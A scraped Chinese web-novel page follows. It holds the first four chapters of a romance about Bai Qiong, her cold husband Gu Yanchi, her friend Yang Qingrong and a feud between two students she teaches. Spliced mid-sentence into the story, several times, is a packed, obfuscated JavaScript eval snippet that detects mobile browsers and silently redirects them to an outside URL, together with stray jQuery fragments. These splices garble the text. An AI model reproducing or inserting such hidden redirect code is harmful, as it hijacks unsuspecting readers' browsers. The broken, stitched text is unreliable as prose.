《妻子的报复》 1. 第一章 市中心一家高级美容院VIP包厢里,白琼有些局促地躺在美容床上做着精油推背。 “白小姐,请你放松一点。” “啊,好的。” 白琼努力让紧绷的背脊松弛下来,白皙的肌肤无瑕,在精油的作用下润泽紧致,头顶的美容灯打下来,她整个人就像冬日的新雪,晃得一旁的杨清容眯了眯眼睛。 “啧啧,怪不得我约了你那么多次美容院你都不来,敢情某人是天生丽质,根本用不着做什么后天保养啊。” 她语气酸溜溜的,带着艳羡。 白琼好笑道:“我哪有,我只是工作太忙,不像杨大小姐那么空闲,当然还有一点——囊中羞涩。” 这家美容院的消费标准很高,随随便便就是四位数起步,也是这次发了奖金她这才在女人的再三邀请下咬咬牙答应了。 杨清容翻了个白眼,显然不信:“得了吧,你堂堂顾大夫人还囊中羞涩,唬谁呢?再说了既然是我叫你出来,肯定是我请你啊,又是让你花时间陪我又让你付钱的,你把我杨清容当什么人了?” 白琼自然知道女人大方,尤其是对朋友更是出手阔绰,只是一码归一码,谁的钱都不是大风刮来的,对方是不差这三瓜两枣,可她不能理所当然占人便宜。 朋友之间就更不应该如此,这是她的原则。 杨清容见她一副不赞同的样子,知道她是铁了心要付钱,没好气道:“白琼你这就不够意思了哈,到底有没有把我当朋友?咱们从高中认识到现在,这么多年交情你还和我分的那么清未免也要让人寒心了吧……还是你怕家里那位说你乱花钱?不应该啊,你这个恋爱脑可能是个夫管严,可顾厌迟那么有钱,应该不至于吝啬到这种程度吧?” 猝不及防从女人嘴里听到顾厌迟的名字,白琼脸色一僵,这抹不自然的神情散的很快,只是在灯光下照的太清晰,很敏锐的被对方捕捉到了。 “哈,不会吧不会吧,他真这么铁公鸡?” 杨清容的声音里带了点怒意,白琼忙解释道:“没有,他没有小气,相反的他对我很大方,从我们结婚的时候就给了我一张不限额度的黑卡。” 怕她不信,白琼伸手从一旁的桌上打开包,从里面钱夹子里拿出了黑卡。 杨清容瞥了一眼,看清楚卡面镶金边的特殊纹路心下咋舌。 好家伙,还真挺大方的,这卡全鹿港市不超过十张,她老爸都没呢,顾厌迟就这么水灵灵给了白琼。 她又柠檬了,郁闷道:“那你还连个像样的包包都没有,每次出个门都扣扣搜搜的,我还以为他虐待你不给你钱呢。” 杨清容觉得自己被欺骗了,气呼呼道:“那行,既然你真有钱那一会儿晚饭你请,我要吃银座那家高级日料。” 白琼没有立刻回应,反而露出了为难的表情。 她难以置信:“不是,大姐,敢情抠门儿的不是你老公是你啊?还是说顾厌迟给你卡只是做做样子,不让你花?” 杨清容了解白琼的秉性,更相信自己在对方心中的地位,她不认为对方是不舍得给她花钱,所以十分恶意地揣测起了顾厌迟。 尽管她也清楚顾厌迟那样做的可能微乎其微,可没办法,谁叫她讨厌他呢,给他泼脏水的事她顺手就做了。 “你怎么会这么想,他不是那样的人。” 杨清容瘪了瘪嘴,对她这样急切维护男人的举动有些不爽:“我就开个玩笑而已,你不愿意请就算了,本小姐也不缺那顿饭钱。” 她冷哼了一声,扭过头不去看白琼。 白琼见她似乎真的生气了,叹了口气道:”我不是不愿意,是我的钱可能不够……你能换一家便宜点的吗,或者等我月底发工资了我请你吃?” 杨清容觉得莫名其妙:“你不是有卡吗,你刷卡呀。” “那不一样。” “哪儿不一样?” 白琼突然不说话了,抿着嘴唇神色黯然。 她的长相并不算出众,和杨清容这种眼前一亮的浓颜美女截然相反,她的五官很柔很淡,像高处笼罩在云雾里的远山,烟雨朦胧的湖景,不是没有色彩,是那种老照片一般的黯然,整体和谐舒服,却缺少让人印象深刻的点。 白琼是清秀的,温和的,唯独不是漂亮的。 那是扔到人群里都不会让人注意到的存在,从外貌衣品到气质,从头到脚没有一点是符合杨清容这个颜控的择友标准的,可就是这样两个家境性格差距悬殊的人反而成为了最好的朋友。 杨清容时常感慨却不觉得意外。 因为白琼是一个值得深交,且真心相待的人。 白琼或许不够漂亮,不够优秀,但她有着杨清容所处的圈子里没有过的真诚,她的感情是纯粹的,无论是友情还是爱情。 杨清容自小养尊处优,家里长辈疼爱,头上又有哥哥姐姐顶着,她什么都不用干,什么也不用操心,每天吃喝玩乐各种挥霍就好。 这也养成了她目中无人,傲慢自大的大小姐脾气。 她的眼里只有两种人,一是家人,二是其他人,这导致她很难交到什么真心朋友,当然她也不屑于交什么朋友。 她清楚人性,充斥着嫉妒和虚伪。 因此在厕所隔间里听到外面有人说她坏话的时候杨清容并不生气,意料之中的事情,谁叫她天生好命什么都有呢,这样完美的自己被人嫉妒理所当然。 不过这并不代表她能容忍这样的行为。 在杨清容准备推门臭骂她们一顿的时候,白琼的声音先响起了。 “请问,她有伤害你们吗?” “既然没有,为什么要在背后这样说一个女孩子的坏话呢?嫉妒会让你们本就不算好看的面孔变得更丑陋的,啊你们不要误会,我没有在贬低你们长相的意思,毕竟我也没有好看到哪儿去,我只是在陈述事实。” “洗手池前面就有镜子,不信你们看,你们的脸都狰狞扭曲了。” 杨清容能听得出来白琼没有一丝一毫的嘲讽和阴阳,她是真的这么认为的。 可真诚就是最大的必杀技,正是因为她没有恶意才更气人。 有趣,太有趣了。 她之前怎么没发现这个书呆子这么有意思? 于是毫不知情的白琼引起了杨清容的注意,获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159408|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一段入室抢劫般的友谊。 主动接近白琼交下这个朋友虽然是一时兴起,她也没想过能处得多长久,等她腻了烦了,对方惹她厌倦了她就直接断了完事。 杨大小姐的人生从没有内耗两个字,怎么舒服怎么来。 结果没想到的是越接触发现白琼这人越对她的胃口,然后这段她以为最多不会超过一个月的友谊维持至今,甚至不出意外的话她们应该会当一辈子好姐妹。 只是白琼哪儿都好,唯独一点——恋爱脑。 哦不,以她对顾厌迟那迷恋程度说恋爱脑都算轻了,简直就是恋爱癌。 好端端一个人怎么坏端端喜欢上了顾厌迟那种冷血男呢? 杨清容不理解,白琼自己似乎也稀里糊涂的。 她曾经问过这个问题,白琼思考了很久,回答了一句“你相信一见钟情吗?”。 屁的一见钟情?她看分明是见色起意。 顾厌迟除了那张皮囊外有哪一点值得她喜欢的? “爹的,我憋不住了,今天哪怕我说的话可能会伤害到你我也一定要不吐不快!” 越想越气,杨清容啪的一下把脸上的面膜拿掉坐了起来。 “白琼,你别总是这么固执坚持什么精诚所至金石为开那一套,别说五年,十年,二十年都没用,那家伙是个没有心的,以前不喜欢你,以后更不可能会喜欢你,你趁早死了这条心和他断了,别年纪轻轻吊死在这么一颗歪脖子树上!” 吼完后杨清容心里舒坦了,同时又有些忐忑。 她深吸了一口气,绷着脸重新躺了回去。 “总之你好好想想吧,我只是看不惯你身为我的朋友,在他面前那么卑微的样子,他不爱你,和一个不爱你的人这样纠缠在一起不值当。白琼,你值得更好的人,那个人不是顾厌迟。” 杨清容之前不是没劝过她放弃,只是说得委婉,因为她知道顾厌迟对她有多重要,所以怕两人的友情生了隔阂,一般点到即止。 今天是她第一次说得这样直白直接。 杨清容说完一瞬不移盯着白琼,那张如白釉素净的脸在她这番杀人诛心的话语下肉眼可见地褪去了血色。 知道顾厌迟不爱自己是一回事,这一点她从未自欺欺人过,只是被好友这样赤/裸裸揭穿又是另一回事。 难堪,羞恼,负面情绪像打翻的调味品,混在一起,辛辣和苦涩交织,让她舌头麻痹得说不出只言片语。 许久,久到杨清容忐忑她们是不是要完了,懊恼着绞尽脑汁想要补救。 白琼并没有生气,她只是垂着眼,闷闷吐出两个字。 “不要。” 杨清容愣了下,随即反应过来她的不要是不要和顾厌迟断掉后她眼前一黑,差点儿气晕过去。 “啊啊啊你气死我得了,你个死恋爱脑!!” 白琼也对自己很失望,可她喜欢了顾厌迟那么多年,要是只是一场注定没有结果的暗恋也就算了。 偏偏他们结婚了,让她就这么放弃她如何甘心? 就当她鬼迷心窍无可救药吧。 白琼这么自暴自弃地想。 2. 第二章 最后为了平复杨大小姐的怒火,尽管没有去吃那家贵的吓死人的日料,退而求其次去了一家相对便宜一点的西餐厅。 白琼看着对方把她仅剩的那点儿钱挥霍殆尽后朝着她重重哼了一声,一副“看什么看穷光蛋,就花你的,你能奈我何?”的表情。 她有些哭笑不得:“大小姐你高兴就好。” 吃完晚饭的时候已经快八点了,白琼是坐杨清容的车回来的。 白琼住在鹿港寸土寸金的中心地段,这是五年前她和顾厌迟结婚时候顾父他们送的婚房,不然以她当老师的那点儿薪资连这里的一个厕所都买不起。 即使在这里住了这么久了,每次踏入这片别墅区的时候她还是有些恍惚。 这种恍惚的不真实感不光是环境带给她的格格不入,还有和顾厌迟成为夫妻这件事。 白琼喜欢顾厌迟,从初中的时候就喜欢,直到现在未曾改变过这份心意。 她没有想过自己能得到回应,毕竟自己和对方的差距太过悬殊。 白琼家世并不算差,父母都是大学教授,出身高知家庭,在普通人里已经算中上水平了,只是和财阀顾家相比她这点儿条件就有点不够看了。 按理说无论是从家境还是别的方面来看,她和顾厌迟完全属于两个世界,像平行线一样没有任何相交的可能。 偏偏白琼的爷爷和顾老爷子是战友,年轻时候因为救他断了一条腿,本就深厚的情谊在白爷爷挺身相救的恩情之下更加牢固了。 她和顾厌迟的婚姻就是在这一基础上为了亲上加亲而许下的。 不过并不正式,只是口头定的娃娃亲,说是要是以后两个孩子长大后有了喜欢的人的话就不作数。 因为两老人关系好,两家走动频繁,白琼和顾厌迟从小一起长大,可以算得上青梅竹马。 小时候她就很喜欢对方,顾厌迟长得好又优秀,很难让人不对他心生好感吧。 只不过那只是妹妹对哥哥的喜欢。 真正开始对顾厌迟有了超过哥哥以外的心思,是在初二。 不是因为意识到对方不光是她的哥哥,还是异性,不是因为对方做了什么让她春心萌动的行为。 只是有一天白琼突然看见了他。 看见了,所以就喜欢上了。 她知道这样的形容很抽象,很站不住脚,可事实就是如此,就像一见钟情一样,砰的一下脑子里有烟花炸开,然后她就开窍了。 白琼不是一个擅长隐藏情绪的人,相反的她几乎什么都写在脸上,因此她即使怕连朋友也没得做,没有做好给顾厌迟告白的准备,关于她喜欢顾厌迟这件事在身边人眼里早就是司马昭之心。 她的感情是众所周知的秘密。 顾老爷子觉察到了她对顾厌迟的心思后很是高兴,半认真半调侃问她愿不愿意做顾家的媳妇,他不是私下单独问的,而是当着顾厌迟的面问的。 她羞赧紧张得不知道如何是好,一个字也说不出来,低着头不敢看身旁的顾厌迟一眼。 令白琼意外的是,顾厌迟并不排斥和她结婚这件事,与其说是不排斥更应该说是不在意。 “厌迟,你呢?愿意娶小琼为妻吗?” 在白琼紧张得心脏都要跳出来的时候,男人声音淡漠回答。 “我听从祖父的安排。” 于是,他们那段口头定下的娃娃亲就这样草率地敲定了。 这段感情,从始至终都是她的一厢情愿,顾厌迟不喜欢自己,这件事她再清楚不过。 他娶她不是为了履行所谓的婚约,也不是遵从长辈的意愿,他只是单纯的无所谓罢了。 无所谓结婚,无所谓婚姻对象,无所谓……她。 可也正因为他对婚姻这样不上心,甚至有点随意的态度才让白琼难过的同时又生出了希望——说明他还没有喜欢的人。 那她就有机会。 白琼相信人心都是肉长的,哪怕顾厌迟再冷淡薄情,只要她努力坚持总有一天能融化他这座冰山的。 而今年是白琼和他结婚的第五年,她做得再多对方也没有为她动容过分毫。 白琼想起杨清容劝她离婚再寻良人的话,轻轻叹了口气。 要是她能那么轻易放下执念寻觅下一春就好了,尽管顾厌迟对她依旧无动于衷,可这非但没有浇灭她对他的感情,反而随着时间的推移她似乎越来越喜欢他了。 不,喜欢的程度太轻了。 迷恋。 白琼深深迷恋着顾厌迟——意识到这一点的自己也很崩溃。 有时候她也在想,自己会不会不是喜欢他,只是单纯的抖M?不然为什么对方对她越冷淡,她越上头呢? 尤其是最近这段时间,她对顾厌迟的迷恋程度好像更深了,她已经一连好几天都梦到他了,并不是什么少儿不宜的梦,只是也没多纯情。 梦里顾厌迟不是冷冰冰的,是有温度的。 他在笑,眉眼含情注视着一个模糊的人影,应该是自己吧,毕竟这是自己的梦。 白琼虽然这么想,但总觉得那个梦很奇怪很违和,就好像上帝视角一样,她对此没有一点代入感。 如果只是做梦还好,她这几天体内还会时不时感到一阵燥热,牙齿突然变得很痒,总想要咬点什么东西。 白琼担心自己身体出问题,去医院看了下,一切正常。 真要说有什么不对劲的,就是激素有些紊乱,而激素紊乱的常见症状表现有睡眠障碍,持续疲惫,精神不济,和性/欲的改变。 以她的情况来看,她的所谓的性/欲改变大约是……欲求不满。 严格意义是来说白琼的欲望就从没有得到过疏解,说出去别人可能都不会相信,她和顾厌迟结婚五年都没有发生过关系,一次也没有。 杨清容只知道白琼一直在热脸贴顾厌迟的冷屁/股,还不知道她不光没得到他的心,连人也没捞到,不然她不单单是只宰她一顿饭就轻易放过她,肯定会气得爆炸到把顾厌迟给她的那张黑卡抢过来刷到手酸为止。 白琼也不是真的想和对方谈这种柏拉图式的感情,她也曾经豁出去主动过,但都没用,顾厌迟对她毫无兴趣。 好在他不止对她一个人没兴趣,这是白琼唯一能找到的自我安慰了。 回来的时候房间一片昏暗,今天顾厌迟依旧没回来。 他总是很忙,一周能回来一次都算好的了,也不知道是真的在忙工作还是单纯不想和她待在一个屋檐下。 在结婚之初家里是有佣人的,只是白琼不习惯有人照顾,加上顾厌迟也不常回来,得到他的同意后她便给了一笔费用将佣人辞退了。 因此这五年里顾厌迟的一切起居饮食都是她经手的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159409|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 抛去她喜欢对方这点来说,顾厌迟真的是一个十分难搞的人。 他很挑剔,挑剔到每日的穿搭,衣服的牌子,领带的颜色,袖扣和胸针的款式。 喝的咖啡,从咖啡豆产地,所对应煮的时间,入口的温度等等都有严苛的要求。 好多次白琼都要被他折磨疯了,可看到他那张脸又都什么都原谅了。 不怪杨清容那么恨铁不成钢,她也觉得自己很没出息。 白琼打开灯,偌大的空间被照亮,四周空落落的,她的心也跟着空落落的难受。 十五天了,她已经整整半个月没有见到顾厌迟了。 以前比这更长的时间不是没有过,白琼却从没有一次觉得日子如度秒如年般难捱。 独处的时候人往往是最松懈的,心头压抑着的情绪也会不受控制翻涌上来,在苦涩蔓延开来的同时,熟悉的燥热感也跟着席卷。 潮红以肉眼可见的速度覆上她的脸,然后往下,把她整段脖子也染上了艳色。 平时这股燥热冒出来不到十分钟就会褪下,今天过了半个多小时都没有缓和的迹象,女人那张只能算清秀的面容在这抹艳色的渲染下显得有些妖冶的昳丽,透着一种惊心动魄的美。 明明脸还是那张脸,可像完全变了个人似的。 白琼用体温计测了下,三十九度,这已经算高烧了。 主要是有点脑子的人这时候都知道该打救护车去医院,白琼也是这样想的。 只是在她准备去拿手机拨电话的时候,身体却不受控制的往楼上走去。 她视野模糊,脚步虚浮,思绪乱成了一团浆糊。 直到白琼陷入了一片柔软,感受到鼻翼之间浅淡的冷冽香气后,白琼一激灵,从混沌的意识里捕捉到了那么一瞬的清明。 她眼眸闪了闪,在昏暗的环境里也能轻易辨认出来自己此刻所处的房间并不是自己的。 她走到了顾厌迟的卧室。 他们结婚至今两人都是分开住的,顾厌迟是一个很有领地意识的人,即使作为他的妻子的自己也不被允许进入他的房间,之前白琼打扫的时候进去过一次,顾厌迟知道后虽没说什么,却一连好几天都没给她什么好脸。 之后白琼就再没有进来过这里。 而此刻她不仅进来了,还胆大包天地躺在了男人的床上。 她应该立刻起身离开的,要是被顾厌迟发现他肯定会大发雷霆。 白琼这么想着,动作却截然相反。 被子上不知道是熏香还是男人本身弥留的气息,有些冷,带着点儿刺激性,像冬日猛地灌进口鼻的冷空气,霸道地撬开她的唇齿,强烈地彰显着自己的主权。 她攥着被子,手背青色的血管因为用力微微凸起,似从皮肉里要冲破而出的藤蔓,试图将空气里那存在感十足的香气死死缠绕。 理性和感性天人交战着,最终后者更胜一筹。 白琼将脸埋在了被子里,好闻的气息从鼻腔深入肺腑,她贪婪地吸了一口又一口。 可这样只能饮鸩止渴。 她遵从着本能张口咬了上去,把被子当成某个人渴求着,眼尾难耐地发红。 不够,不够。 远远不够。 她要的不是这种没有温度,无法回应的东西,她要他…… 她要顾厌迟。 3. 第三章 在这个想法冒出来的瞬间,白琼都有些被自己给吓到了。 她知道自己喜欢顾厌迟,却没想到自己对他的欲望会这么深。 如果说顾厌迟是个对女人毫无兴趣的性冷淡,那么白琼也没比他好到哪儿去,她对异性也没什么感觉,她只是对顾厌迟情有独钟而已。 白琼只喜欢过顾厌迟一个,她没有谈过恋爱,就这样结了婚,她在感情上可以算得上一片空白。 就像杨清容所说的那样,白琼对顾厌迟更多的是执念,其中并没有夹杂太多欲望。 她想要得到顾厌迟,但她要的不多,他不喜欢自己,那她只需要一个可以名正言顺待在他身边的身份就好。 这是在她努力这么久也没办法得到对方的心后,有些认命,自暴自弃的想法。 然而在白琼都已经做好了这辈子和他只能如此相敬如宾,无法再更进一步的心理准备后,她却突然变成这样。 一直都没办法降下来的温度在被顾厌迟的气息包裹后又攀升了起来,好在并没有持续下去,在抵达身体承受的临界点后慢慢下跌。 白琼感觉到身上的热潮褪下来的时候才惊觉自己浑身都被汗水弄湿透了,夸张得像是从水里刚捞出来似的。 不可避免的,被子也被浸湿了一片,黑色的布料显露出更为暗沉的颜色,比窗外浓重的夜色还要来得深。 她定定注视着上面她留下的痕迹,睫毛颤了下。 反正已经这样了,白琼没有急着去清洗收拾,她拽着被角在床上滚了几圈,让被子把她紧紧包裹成一个蚕茧,模拟着被顾厌迟抱在怀里的样子。 这些天她总是躁动不安的心绪在此刻短暂得到了缓解,随着越来越重的眼皮压下,白琼很快就睡着了。 她又梦到了顾厌迟,梦里男人西装革履,穿得正式又得体,就连头发都打理得一丝不苟。 顾厌迟本身就是个很讲究的人,要是哪天他随便穿个短裤拖鞋出门才奇怪,可梦里他的打扮明显要比平时还要精细几分。 不光是他戴了一条有些张扬的深红色领带,宝石袖扣的款式更是少有的华丽。 昂贵的腕表在阳光下折射着的光亮映照在他手上浅紫花束上,生动的画面变得更加流光溢彩。 他拿着花在路边等了一会儿,时不时抬起腕表看时间,神情紧张中又带着一分难掩的期待。 白琼在马路的另一边。 顾厌迟猛地抬头,那双从来都是无波无澜的凉薄眉眼头一次迸发出那样强烈的欢喜。 他快步朝着白琼走了过来,她心下一动,然后,他越过了她。 白琼身子一僵,身后的人用从没有过的温柔得溺出水来的声音道:“比赛胜利,恭喜。” 她回头,那个之前在她梦里一直模糊的身影这次清晰了一点,她依旧看不到他的脸,但能辨认出性别了。 是个男人。 身高和顾厌迟相当,他的手修长有力,骨节匀称,宛若最上层的羊脂白玉,完美的就像精雕细琢的艺术品。 唯一的瑕疵是虎口位置有一层茧,白釉有了裂痕,却也无损其美感。 “谢谢。” 他接过花,声音清冷,无起伏,却轻而易举拨动人的心弦。 白琼急切的想要看清楚那张脸,在层层迷雾后那人的身影越来越远,最后消失在了视野,也消失在了她的梦里。 再次睁开眼是在天边泛起鱼肚白的时候,她怔怔望着天花板,缓了一会儿转动了下眼珠,在看到周围陌生的环境后,才后知后觉意识到自己昨晚在顾厌迟房间睡着了这件事。 作祟的欲望褪去后白琼理智归了笼,她慌忙从床上下来,赶紧把被套换下来清洗晾好,又用扫地机器人把房间里里外外打扫了三遍,检查确认应该没什么问题后,这才匆匆喝了杯咖啡踩着点上班去了。 白琼在鹿港一中教数学,鹿港一中是鹿港数一数二的重点中学,也是白琼的母校。 因为是熟悉的环境,加上还有一些曾经教过她的老师如今也和她一起共事,对她很是照顾,这几年她工作的一直都很顺利。 唯一让她不适应的只有前段时间办公室有位老师生孩子去了,上面领导让她先顶上一阵子,现在她不仅上课,还兼任高三三班班主任的职务。 当班主任本身就是一件很辛苦的事情,更要命的是白琼接手的这个班级出了名的难管理。 一中的招生标准主要以成绩为主,但也有个别走后门的,而三班就是聚集这部分最多的地方。 这也是为什么在得知自己要接手这样一个少爷小姐扎堆的班级的时候,白琼会那么头大。 白琼一进办公室,对面的李柳听到动静一抬头,被她憔悴的样子吓了一跳。 “白老师,昨晚没休息好吗,还是身体不舒服,你的脸色看上去不是很好。” 白琼走得匆忙只简单洗漱了下,加上她平时也不怎么化妆,顶多涂个口红提提气色,昨天又是突发热潮又是做了一晚上莫名其妙的梦,她状态能好就怪了。 她勉强笑了下:“是没怎么休息好。” “是因为接手三班的事情吧?” 李柳把手上剥好还没动的橘子递给白琼,安慰道:“也是难为你了,本来在咱们一中的老师工作强度就大,你前两年才刚转正,现在一下子就让你担任班主任,还是三班,你压力大焦虑也正常。” 白琼没休息好并不是因为这件事,但她的确也对自己能不能胜任这个职务感到没底也的确是事实,也就没过多解释。 李柳见她默认,看了眼四周,这时候办公室没什么人,她压低声音道:“其实这次王老师怀不怀孕都对上面敲定这件事没影响。” 白琼一愣:“什么意思?” 她俯身凑近了些,声音放得更低了:“我给你说哈,上周五放学我包落了,折返回来路过校长办公室无意间听到了校长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159410|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和年级主任的谈话,主任说王老师的性子太温和,想让经验更丰富的老师来暂替王老师的位子,毕竟高三是关键时期,但是校长却指定让你来,说正是因为高三很重要,那几个不服管教的混世魔王除了你没人能压得住。” 也就是说校长早就打算让她接手三班班主任的职务了。 白琼有些惊讶,甚至觉得有些荒唐:“校长未免也太看得起我了,王老师可比我严格多了,她都管不住他们我就更不可能了。” 李柳眨了眨眼睛,语气神秘道:“白老师是你太妄自菲薄了,你是脾气好,可他们听你话啊,上学期三班那两个祖宗打架,同学老师怎么拉都拉不住,王老师还差点儿被误伤,结果你一过去刚喊了一声他们就停手了,不说话干戈为玉帛,至少后面一个月都相安无事,后头王老师还说她要是管不住就把你搬出来他们一下就老实了,校长估计也看在眼里,才竭力推荐你接任的。” 白琼沉默了,想说什么,张了张嘴又把话咽了回去。 他们完全误会了,她一个区区高中老师哪有那么大能耐让一个地产大亨的儿子和一个餐饮大佬的儿子言听计从,他们与其说是怕她,不如说是怕她身后的顾厌迟。 她就说怎么那么多优秀的老师不安排反而把这工作落到了她头上,原来是因为这个乌龙。 她是顾厌迟妻子这件事知道的人并不多,当初白琼也是靠自身努力竞争到的这份工作,不存在任何靠关系的情况。 只是世上没有不透风的墙。 李柳是个刚毕业没多久的大学生,涉世未深,心思单纯,没有把他们对白琼态度的异常往别的方向想,校长却不一定。 “加油,相信自己,擒贼先擒王,只要管住那两个小祖宗,三班一定能步入正轨的。” 白琼哭笑不得:“这样说学生真的好吗?” 李柳吐了吐舌头:“比喻,比喻而已。” 李柳也教三班,她看了下桌子上张贴的课程表,道:“三班早上第一节课是体育,你正好可以休息下。” “好。” 白琼把女人给她的橘子拿了一瓣送入嘴里,清甜微酸的汁水一下子在口腔里爆开。 空气里也是橘子的香气,同时还夹杂着别的味道。 “你还买了葡萄吗?” “嗯?你怎么知道?” 李柳把随手放在脚边的水果篮子拎到桌子上,一串紫色的葡萄和橘子一起静静躺在其中。 “你要吗,一会儿我洗了分你点。话说你怎么知道的,刚看见了?” 白琼盯着那串葡萄,对于自己的嗅觉变得这么敏锐这件事她也感到不可思议。 她将嘴里的果肉慢慢咽下,轻声道:“我也不知道,就是突然闻到了。” 就像当初突然喜欢上了顾厌迟一样。 话说回来,在确认自己心意的那一刻除了感到心跳加速,面红耳赤外,她似乎也闻到了一缕香气。 4. 第四章 “闻到了?那你鼻子还真灵。” 橘子皮的味道那么重,她竟然还能从中闻到葡萄。 狗鼻子吗?不过狗可不能吃葡萄。 李柳被自己乱七八糟的联想给逗乐了,白琼不知道她在笑什么,也跟着笑了下。 她的五官并不出众,平时也是那种不出声很难被人注意到的存在,唯独笑起来的时候像角落里不知名的花突然开了,尽管依旧不起眼,却能闻到香气。 然后就被看到了。 李柳视线落在她唇角,冷不丁道:“你喜欢吃葡萄吗,一会儿我洗了分你一点。” “啊谢谢,不过不用了,我已经有你给我的橘子了。” 白琼夸道:“很甜,你很会挑水果。” 李柳:“还行,我从小就爱吃水果,吃得多了就会选了。” 两人有一搭没一搭聊了一会儿便各自准备教案了。 白琼敲着电脑,思绪并不怎么在工作上,不是她走神,是她没办法集中注意力。 不仅是水果的香气,还有其他的平时很难感知到的细微气息。 比如门口放着的那株龟背竹的草木味,书本的纸质味,甚至空气里浮动的粉尘的味道她也能嗅到。 白琼的嗅觉一直都很灵敏,只是现在似乎灵敏得有些过头了。 她揉了揉因为嗅到太多味道而有些过载的鼻子,心想以后自己出门要不戴个口罩吧,这样实在不大好受。 白琼强迫自己忽略掉那些有的没的的味道,把剩下的教案备好。 在键盘上敲下最后一个字的时候,门外一阵脚步声响起,三班的一个男生气喘吁吁地跑了进来。 李柳皱眉:“怎么不敲门?” “对不起老师,我,我……” “别着急慢慢说。” 白琼看他说话上气不接下气的样子,柔声道:“是发生了什么急事吗?” 她又抬头看了下墙上的时钟,距离下课还有十五分钟,少年在上课途中急匆匆跑过来找老师准没好事。 果不其然,他在稍微平复了下呼吸后,急切道:“白老师,是齐缜,齐缜和江峤,他们打起来了!” 齐缜和江峤不是别人,正是先前白琼和李柳提到的三班那两祖宗。 “他们两个怎么又打起来了?!” 李柳唰的一下站了起来,办公室里其他的老师也看了过来,感受到众人的目光,她脸一红,尴尬地住了嘴。 白琼放下手上的笔,跟着少年去了操场。 她赶过去的时候齐缜和江峤被众人围在中间,在体育老师上前想把人拉开被肘击到小腹疼得差点儿没站起来后,他们所在的地方便出现了一个真空地带,大家看戏的看戏,劝架的劝架,没一个人敢贸然上前。 直到白琼冷着脸走了进去,两人余光看到来人后怕误伤到她,这才不情不愿地住了手。 白琼一路忍着火气把人带到了办公室,目光落到他们挂彩的脸上后深吸了一口气。 “说说吧,这次又是为什么动手?” “是他又踩了你的限量版球鞋?还是他又把墨水洒你身上了?” 换作以前,他们都不用等白琼开口问就已经争着先告状了,尤其是江峤。 白琼眉头皱得更深了:“我最后再问一遍,到底怎么回事?” 她看向齐缜:“齐缜,你来说。” 眼前的两个少年性子一个比一个桀骜难驯,却都生了一副好皮囊。 十七八岁的年纪,尽管眉眼还有些青涩,脸上还挂了彩,可还是打眼的好看。 齐缜五官俊朗,江峤则更具野性,气质上就是两个极端,非要形容的话前者像猫,后者像狼,猫脾气不好,狼戾气太重,总之他们是哪儿哪儿都不对付。 这已经不知道是他们这学期打的第几次架了,但这一次是最严重的。 想起她刚才过去时候两人扭打在一起拳拳到肉,招招都下死手的情形,要不是白琼赶到的还算及时,恐怕就不止挂彩那么简单了。 白琼看着他们鼻青脸肿的模样,太阳穴一突一突的,这两死孩子究竟是多大仇多大怨啊。 “齐缜!” 见齐缜沉默着不说话,她拔高声音又唤了声。 一旁的江峤嗤笑道:“哈,你他妈现在知道要脸了,早干嘛去了?” 白琼道:“那你来说。” 江峤一噎:“……能出去说不?或者你让其他老师回避一下?” 白琼被他们推三阻四给气笑了:“还让老师回避?你们是什么很了不起的人物吗?” 见少年是真的很为难的样子,她深吸了一口气道:“你们最好是真的有事。” 最终是白琼出去了,光出去了还不放心,江峤让她去楼梯口那边,还扫视了四周一圈,确认没人过来这才咬牙切齿道:“他活该,谁他妈叫他做了那种下流事!” 白琼斥道:“不许说脏话。” 江峤烦躁“啧”了声:“刚才跑操的时候他明明和我一块儿在后排,结果跑着跑着跑到前面去了……” “就因为他超过你所以你就要打他?” “才不是,我看上去像那么无聊的人吗?是他,他跑到叶纾羽后面跟个痴汉一样越凑越近,我看他都要扑人身上了,这才气不过动的手……嘶!” 江峤扯到了嘴角的伤口疼得龇牙咧嘴,缓了下恼怒道:“这种变态难道不该揍吗!” 白琼很震惊,以为自己听错了。 齐缜虽然也是个不服管教的问题学生,可他的难搞和江峤的难搞不同,江峤是属于那种从小被宠坏了不知天高地厚,任性妄为的熊孩子,他则只是性格有点孤傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可白琼却觉得江峤不是那个意思。 他面上只有对自己莫名其妙做出的举动的疑惑和懊恼,而且香气…… 白琼:“什么香气?” 